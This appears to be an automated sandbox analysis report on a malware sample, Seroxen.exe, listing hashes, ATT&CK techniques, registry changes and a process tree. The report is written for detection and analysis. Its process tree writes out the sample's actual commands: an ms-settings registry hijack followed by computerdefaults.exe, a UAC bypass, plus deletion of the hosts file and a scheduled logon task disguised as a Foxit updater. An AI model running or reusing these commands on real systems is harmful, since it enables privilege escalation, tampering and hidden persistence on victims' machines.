0663f1114eca93d267e0ae9ddbaacf05974d77c0fa95efdf22f23ecbdf8e38cb

General

Target

Seroxen.exe
Size

12KB
MD5

8208ea3955533b799b0f5f65db02df8a
SHA1

8829745dd294bb94d1dc39266cb2b8c2457b00cd
SHA256

0663f1114eca93d267e0ae9ddbaacf05974d77c0fa95efdf22f23ecbdf8e38cb
SHA512

f9d17761a044ec89490c7727a4cd365f950dd4e5f56762363ea8441fed2a6552036aafc8804fdddf87488148d2e94052e8f94c11dcc36e77d8d047baaf97448a
SSDEEP

192:+3s2rvMWWwghZv1Bsl0csO9qqjKw65dKUmP+eBQ8JG0x/kPo:as27M/zhZNyWjO9H65dDmPVQKdkw

Score

6^/10

Malware Config

Signatures

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
5 raw.githubusercontent.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3552 4732 WerFault.exe Seroxen.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

4632 schtasks.exe

flow	ioc
1	raw.githubusercontent.com
5	raw.githubusercontent.com

pid	pid_target	process	target process
3552	4732	WerFault.exe	Seroxen.exe

pid	process
4632	schtasks.exe

Modifies registry class 7 IoCs

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2878097196-921257239-309638238-1000_Classes\ms-settings\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878097196-921257239-309638238-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2878097196-921257239-309638238-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2878097196-921257239-309638238-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2878097196-921257239-309638238-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2878097196-921257239-309638238-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878097196-921257239-309638238-1000_Classes\ms-settings\shell\open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\applejack1448147.vbs"	reg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Seroxen.exe

description pid process

Token: SeDebugPrivilege 4732 Seroxen.exe

description	pid	process
Token: SeDebugPrivilege	4732	Seroxen.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

Seroxen.execmd.exeComputerDefaults.exewscript.execmd.exe

description	pid	process	target process
PID 4732 wrote to memory of 2796	4732	Seroxen.exe	reg.exe
PID 4732 wrote to memory of 2796	4732	Seroxen.exe	reg.exe
PID 4732 wrote to memory of 2796	4732	Seroxen.exe	reg.exe
PID 4732 wrote to memory of 1220	4732	Seroxen.exe	reg.exe
PID 4732 wrote to memory of 1220	4732	Seroxen.exe	reg.exe
PID 4732 wrote to memory of 1220	4732	Seroxen.exe	reg.exe
PID 4732 wrote to memory of 2888	4732	Seroxen.exe	cmd.exe
PID 4732 wrote to memory of 2888	4732	Seroxen.exe	cmd.exe
PID 4732 wrote to memory of 2888	4732	Seroxen.exe	cmd.exe
PID 2888 wrote to memory of 1432	2888	cmd.exe	ComputerDefaults.exe
PID 2888 wrote to memory of 1432	2888	cmd.exe	ComputerDefaults.exe
PID 2888 wrote to memory of 1432	2888	cmd.exe	ComputerDefaults.exe
PID 1432 wrote to memory of 1632	1432	ComputerDefaults.exe	wscript.exe
PID 1432 wrote to memory of 1632	1432	ComputerDefaults.exe	wscript.exe
PID 1432 wrote to memory of 1632	1432	ComputerDefaults.exe	wscript.exe
PID 1632 wrote to memory of 3788	1632	wscript.exe	cmd.exe
PID 1632 wrote to memory of 3788	1632	wscript.exe	cmd.exe
PID 1632 wrote to memory of 3788	1632	wscript.exe	cmd.exe
PID 4732 wrote to memory of 5112	4732	Seroxen.exe	cmd.exe
PID 4732 wrote to memory of 5112	4732	Seroxen.exe	cmd.exe
PID 4732 wrote to memory of 5112	4732	Seroxen.exe	cmd.exe
PID 5112 wrote to memory of 4632	5112	cmd.exe	schtasks.exe
PID 5112 wrote to memory of 4632	5112	cmd.exe	schtasks.exe
PID 5112 wrote to memory of 4632	5112	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\Seroxen.exe
"C:\Users\Admin\AppData\Local\Temp\Seroxen.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4732

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\applejack1448147.vbs" /f
2⤵
- Modifies registry class
PID:2796

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f
2⤵
- Modifies registry class
PID:1220

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C computerdefaults.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:2888

C:\Windows\SysWOW64\ComputerDefaults.exe
computerdefaults.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1432

C:\Windows\SysWOW64\wscript.exe
"wscript.exe" C:\Users\Admin\AppData\Local\Temp\applejack1448147.vbs
4⤵
- Suspicious use of WriteProcessMemory
PID:1632

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
5⤵
PID:3788

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN FoxitReaderUpdater_FGHgbhnJDeyD1gGgf050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\FGHgbhnJDeyD1gGgf050MX.exe" /RL HIGHEST /IT
2⤵
- Suspicious use of WriteProcessMemory
PID:5112

C:\Windows\SysWOW64\schtasks.exe
schtasks /Create /SC ONLOGON /TN FoxitReaderUpdater_FGHgbhnJDeyD1gGgf050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\FGHgbhnJDeyD1gGgf050MX.exe" /RL HIGHEST /IT
3⤵
- Creates scheduled task(s)
PID:4632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4732 -s 1736
2⤵
- Program crash
PID:3552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4732 -ip 4732
1⤵
PID:4560

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\applejack1448147.vbs
Filesize
171B

MD5
a34267102c21aff46aecc85598924544

SHA1
77268af47c6a4b9c6be7f7487b2c9b233d49d435

SHA256
eba7ab5c248e46dbe70470b41ebf25a378b4eff9ce632adff927ac1f95583d44

SHA512
5d320312b93b46c9051a20c82d6405a3f2c78b23adb3ab3e71aad854b65b500937de7ca2986cf79967386d689beecccf676d89afde8ecc5d5ad0cb4ae2bf38a3

Download Submit
memory/4732-0-0x00000000002E0000-0x00000000002EC000-memory.dmp

Filesize
48KB

Download
memory/4732-1-0x0000000005500000-0x000000000551A000-memory.dmp

Filesize
104KB

Download
memory/4732-2-0x0000000074740000-0x0000000074EF1000-memory.dmp

Filesize
7.7MB

Download
memory/4732-3-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/4732-4-0x0000000002F00000-0x0000000002F0A000-memory.dmp

Filesize
40KB

Download
memory/4732-5-0x00000000055E0000-0x0000000005672000-memory.dmp

Filesize
584KB

Download
memory/4732-6-0x0000000005C40000-0x00000000061E6000-memory.dmp

Filesize
5.6MB

Download
memory/4732-9-0x0000000074740000-0x0000000074EF1000-memory.dmp

Filesize
7.7MB

Download
memory/4732-10-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/4732-11-0x0000000074740000-0x0000000074EF1000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads